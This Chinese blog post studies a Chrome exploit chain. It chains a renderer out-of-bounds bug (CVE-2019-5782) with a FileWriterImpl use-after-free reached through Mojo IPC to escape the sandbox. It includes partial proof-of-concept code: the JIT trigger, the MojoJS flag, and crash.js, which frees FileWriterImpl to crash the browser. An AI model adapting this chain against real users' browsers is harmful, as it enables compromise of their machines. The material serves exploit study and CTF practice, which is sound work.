在之前的文章中,我们学习了V8的一些基本知识,尝试了一些V8利用的题目。在CTF题目中我们可以发现远程环境的Chrome是关掉了沙箱的,所以我们的V8利用完可以直接读取文件系统中的flag文件。但是实际情况是,Chrome是开启了沙箱的,想要PWN掉完全体的Chrome就需要我们有沙箱逃逸的能力。所以,很多的Chrome RCE都是需要串洞来实现的。

本篇文章主要是学习My Take on Chrome Sandbox Escape Exploit Chain,希望能够对利用链有一个大致的了解。

文章中使用的漏洞是:

  1. 渲染进程(Renderer Process)中的一个OOB读写漏洞
  2. 浏览器进程(Browser Process)中的UAF漏洞

通过Mojo IPC来触发。可以参考Project Zero的一篇沙箱逃逸的博客,可能不是很好理解但是更全面和专业一些。

Chrome的安全架构

首先了解一下Chrome的安全架构,才知道限制住我们的是什么,攻击的目标是什么。

Chrome浏览器是基于开源的Chromium开发的。像Opera,Edge都是基于Chromium开发的。

所以如果找大了Chromium的洞可以试试打其他的浏览器。Chrome修了不一定别的浏览器会修,桌面版修了移动版不一定修hhh

在Chrome中存在多个进程,有很多渲染进程(可以理解为一个一个标签页),以及一个浏览器进程(也就是浏览器本身)。

image-20200708231525425

image-20200708231614574

这些进程是分隔开的。也就是说,如果某一个页面崩溃了,并不会影响到别的页面,浏览器也不会直接崩溃掉。

  • 渲染进程的要求就是速度快。例如执行JS程序,构建DOM树,等等。很多浏览器相关的漏洞都是出现在渲染进程。例如V8的漏洞。
  • 浏览器进程主要是处理敏感数据。例如cookie,网络管理,窗口管理等。

在之前,似乎普遍认为浏览器攻击都是为了最后的RCE,但是通过攻击浏览器进程来窃取cookie,银行卡信息,账号密码等等也是可行的攻击面。相关的视频可以在油管上搜到。

由于渲染进程出现漏洞的可能性比较大,为了提高安全性,就设计了沙箱。将渲染进程放在受限权限的沙箱中运行,防止被PWN掉之后去读写文件系统。

沙箱强迫渲染进程与浏览器进程API通信,来和外部环境交互。沙箱的目标就是,即使渲染进程被攻破了,也需要通过浏览器进程来和外部环境交互。渲染进程和浏览器进程的通信方式是通过Mojo IPC,一个开源的IPC库。

在之前的0CTF中就是在Mojo JS中patch了漏洞。

image-20200708233055887

图中可以看到,一个在渲染进程,在沙箱包围的渲染器的空间内,通过Mojo来和浏览器空间中的浏览器进程通信。浏览器进程可以去读写文件系统中的内容。

想要使用Mojo IPC的方法就是使能Chrome的Mojo JS特性。激活之后Chrome会开放一个Mojo JS的对象,这样我们就可以和Mojo交互了。激活的方法可以参考:

1
2
3
#!/bin/bash

timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"

补充知识

为了更好地理解后面的攻击步骤,这里补充一些博客中没有提及的基础知识。

Blob

Blob是Binary Large Object的缩写,表示二进制类型的大对象。在Web中,Blob类型的对象表示不可变的类似文件对象的原始数据,通俗点说,就是Blob对象是二进制数据,但它是类似文件对象的二进制数据,因此可以像操作File对象一样操作Blob对象,实际上,File继承自Blob。可以参考这个介绍

ArrayBufferUint8Array 及其他 BufferSource 是“二进制数据”,而 Blob 则表示“具有类型的二进制数据”。这样可以方便 Blob 用于在浏览器中非常常见的上传/下载操作。XMLHttpRequest,fetch等进行 Web 请求的方法可以自然地使用 Blob,也可以使用其他类型的二进制数据。

我们可以轻松地在 Blob 和低级别的二进制数据类型之间进行转换:

  • 我们可以使用 new Blob(...) 构造函数从一个类型化数组(typed array)创建 Blob
  • 我们可以使用 FileReaderBlob 中取回 ArrayBuffer,然后在其上创建一个视图(view),用于低级别的二进制处理。

渲染进程中的OOB

在CVE-2019-5782中,@S0rryMybad 发现了一个渲染进程的OOB读写漏洞,这个漏洞也是在天府杯上使用的漏洞。该漏洞的原因是错误地计算arguments.length。JS优化功能错误地假设其最大值为65534,但是实际上这个值可以更大。在这个错误的假设的基础上,JS优化功能认为length >> 16应该始终为0。

The bug resulted from incorrectly estimating the possible range of arguments.length; this can then be leveraged together with the (BCE) Bounds-Check-Elimination pass in the JIT. Exploitation is very similar to other typer bugs - you can find the exploit in ‘many_args.js’. Note that as a result of _tsuro’s work, the v8 team have removed the BCE optimisation to make it harder to exploit such issues in the typer!

The important thing here is that we’ll need to have a stable exploit - in order to launch the sandbox escape, we need to enable the Mojo bindings; and the easiest way to do this needs us to reload the main frame, which will mean that any objects we leave in a corrupted state will become fair game for garbage collection.

看来就是JIT优化的时候,在去处边界检查的时候出了问题。利用的时候和其他的类型漏洞差不多。之后V8团队删掉了BCE的优化。

边界检查主要是在访问array的时候进行。考虑这样的代码:

1
2
3
4
5
6
let x = new Array('x');
// 在某一个JIT优化的函数中:
x[(arguments.length >> 16) * 3] = 'ehe';

args = [];
args.length = 65537;

由于JIT认为arguments.length >> 16应该始终为0,这里第三行应该访问的都是x[0],因此在进行该操作的时候就没有必要边界检查了,也就去掉了。

这个漏洞看起来还是挺好写利用的,看起来怎么有点像幽灵👻hhh。好了,目前我们有了沙箱内渲染进程的OOB读写能力。下面开始的就是知识盲区了hhh。

浏览器进程中的UAF

这里说的浏览器进程的漏洞也就是Mojo JS的漏洞了。具体的位置是Mojo Binding的FileWriter组件,其中的FileWriterImpl实现。看一下简化的代码:

1
2
3
4
5
6
// simplified
void FileWriterImpl::Write(position, blob, callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this), std::move(callback), position));
}

简答来说,我们可以通过Write函数来写Blob数据。浏览器进程会使用异步函数来检索Blob数据,然后提供一个callback回调。在这个callback中,FileWriterImpl提供了一个this的引用,或者说它通过base::Unretained()来实例化自己。代码中使用的base::Unretained(this)会创建一个没有检查的FileWriterImpl实例的引用。如果这个实例已经被释放了,但是callback被调用了,代码会继续执行,尽管这个引用指向了一个已经被释放的实例。

现在我们来看如何释放这个引用。

1
2
3
4
5
6
7
// simplified
void BlobStorageContext::GetBlobDataFromBlobPtr(blob, callback) {
raw_blob = blob.get();
raw_blob->GetInternalUUID([](uuid) {
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
})
}

在这个函数GetBlobDataFromBlobPtr中,首先通过GetInternalUUID得到Blob的UUID,然后调用了callback。

重点:这里的GetInternalUUID是mojo中的方法

This means that renderer can define the implementation of GetInternalUUID if it passes a renderer-hosted Blob implementation instead of browser-process-hosted blob.

这就意味着,渲染器可以定义GetInternalUUID的实现,如果传入的是渲染器的Blob而不是浏览器进程的Blob。

简单来说,如果我们PWN掉了渲染器,就可以自己定义GetInternalUUID是如何实现的。

那么我们该如何攻击呢?在GetInternalUUID的实现中,我们可以销毁FileWriter的句柄(就是那个引用)。这会使得FileWriterImpl被立即释放。这样,当GetInternalUUID返回,当他执行base::Unretained(this)也就是base::Unretained(FileWriterImpl)的时候,就会调用callback,然而这个时候已经被释放了。通常来说这会导致浏览器崩溃。

1
2
3
4
5
6
BlobImpl.prototype = {
getInternalUUID: async (arg0) => {
writer.writer.ptr.reset(); // destroy the renderer handle of FileWriter
return {'uuid': "blob_0"};
}
}

上面是直接销毁的方法。

image-20200709103335438

需要注意的是,在渲染进程中销毁FileWriter句柄会触发在浏览器进程中销毁FileWriterImpl,这是因为FileWriterImpl是由mojo::StrongBinding创建和绑定的。

1
2
3
4
5
6
7
8
9
10
11
// simplified
void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
CreateWriterCallback callback) {
...
blink::mojom::FileWriterPtr writer;
mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
url, context_->CreateFileSystemOperationRunner(),
blob_storage_context_->context()->AsWeakPtr()),
MakeRequest(&writer));
std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

然而目前看来,对于一个现实场景中的普通Chrome用户来说,利用这个漏洞比较困难。因为要想利用这个洞,需要能够和Mojo进行通信。Chrome的默认配置中Mojo并不是暴露给Web页面的js的,这是不允许的。

沙箱逃逸

先定一个小目标

首先,我们先不指望能够完成利用。先定一个小目标:能够让一个用Chrome默认配置的普通用户的浏览器崩溃。

步骤如下:

  1. 受害者访问我们构造好的HTML界面。
  2. 通过CVE-2019-5782,我们可以在渲染进程中触发OOB的读写。
  3. 通过OOB读写,我们使能浏览器中的Mojo JS Binding。
  4. 现在Mojo JS Binding是开启的,并且是暴露给JS的,Web页面中的JS代码可以和Mojo IPC进行通信了。
  5. 利用FileWriterImpl的UAF,使得浏览器崩溃。

步骤如图所示:

image-20200709105826692

首先从受害者访问HTML页面开始。

image-20200709105812491

通过CVE目前可以在渲染进程中OOB读写。但是目前我们在沙箱中,还不能直接和Mojo通信。

image-20200709110227472

通过控制渲染进程,我们可以使能Mojo JS Binding,现在我们就可以通过Mojo IPC和浏览器进程通信了。具体如何使能我们之后再说。

image-20200709115207323

可以访问Mojo之后,我们就可以进入到浏览器进程,通过UAF我们可以控制浏览器空间。

image-20200709115259064

再浏览器空间就没有沙箱了,我们可以执行系统调用来获得系统控制权。

使能Mojo JS Binding

默认情况下,用户的Chrome配置是不会打开Mojo JS Binding的,我们也不能说让受害者去修改Chrome的配置好让我们攻击。在上面的步骤中,我们可以通过渲染进程的OOB读写来使能Binding,这是如何做到的呢?

再Chrome源码中,我们可以看到Mojo JS被开启的代码:

1
2
3
4
5
6
7
8
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context,
int world_id) {
if ((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) && IsMainFrame() &&
world_id == ISOLATED_WORLD_ID_GLOBAL) {
blink::WebContextFeatures::EnableMojoJS(context, true);
}
...
}

如果满足该条件,Mojo JS就可以被使能。其他的可以不管,主要是enabled_bindings_这个条件:

1
enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI

通过OOB读写将这两个变量设为真就可以了。具体的方法先不讨论。暂时理解为找到内存中的一个变量然后修改即可。

逃逸沙箱并崩溃浏览器

可以具体细化一下整个流程:

  1. 受害者访问我们的HTML页面。
  2. 通过CVE,我们修改enabled_bindings_的值,这样就使得Mojo JS可以被使能。然后重新加载页面,现在Mojo JS应该是处于使能状态了。
  3. 现在可以通过JS代码访问Mojo了,页面可以直接和Mojo IPC通信。
  4. 触发UAF,释放FileWriterImpl。

大致的攻击代码如下。首先是index.html。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- index.html -->

<script src="/many_args.js"></script>
<script src="/enable_mojo.js"></script>
<script src="/crash.js"></script>

<script>
let oob = new many_args(); // setup OOB read/write
if (typeof(Mojo) !== "undefined") {
print('[enable_mojo] mojo already enabled')
crash(oob);
} else {
enable_mojo(oob);
}
</script>

主要功能是把其他的js代码包含进来。后面是一个判断,是否Mojo已经被开启。没开启的话就用OOB开启,开启了就崩溃。注意需要刷新一下重新加载页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// crash.js

async function CreateWriter() {
// create writer from blink.mojom.FileSystemManagerPtr ...
}

async function Blob0() {
// register blob_0 to blob registry ...
}

async function crash(oob) {
print('[sandbox_escape] exploiting issue_1755 to escape sandbox and crash browser');

var writer = await CreateWriter()

print(' [*] crafting renderer-hosted blob implementation')
function Blob0Impl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
Blob0Impl.prototype = {
getInternalUUID: async (arg0) => {
print(' [*] getInternalUUID is called');

print(' [!] freeing FileWriterImpl');
create_writer_result.writer.ptr.reset();

// sleep 3 seconds ...

print(' [*] resuming FileWriterImpl::DoWrite, prepare to crash');
return {'uuid': 'blob_0'};
}
};

Blob0();

let blob_impl = new Blob0Impl();
let blob_impl_ptr = new blink.mojom.BlobPtr();
blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));

print(' [*] calling Write with renderer-hosted blob implementation')
writer.writer.write(0, blob_impl_ptr);
}

然后是Crash的函数。首先注册了一个blob_0。然后我们自己定义了一个getInternalUUID函数,这个函数中我们释放了FileWriterImpl实例,之后返回的时候,指向被释放对象的指针会传给DoWrite,浏览器就崩溃了。然后调用Write函数,这个Blob是渲染进程的。

效果:

demo

总结

我认为这篇文章很适合没有接触过Chrome沙箱逃逸的人阅读。虽然没有写太多的技术细节,但是可以大致了解Chrome沙箱逃逸的general idea。

在之前的学习中,我们学会了一些基本的攻击V8的方法,但是目前我们只在渲染进程这一层。为了能够逃逸出沙箱,我们需要开启Mojo JS Binding,并通过Mojo IPC来和浏览器进程交互,进入到浏览器进程之后,再通过系统调用等读写文件系统。大致步骤:

  1. 在渲染进程中寻找漏洞,并拿到渲染进程的任意地址读写/代码执行等
  2. 在浏览器进程中寻找漏洞,并拿到任意地址读写/代码执行等
  3. 通过渲染进程的漏洞使能Mojo JS,并通过Mojo触发浏览器进程的漏洞,最后获得系统控制权

了解了基本套路之后我们就可以尝试这一类的题目了。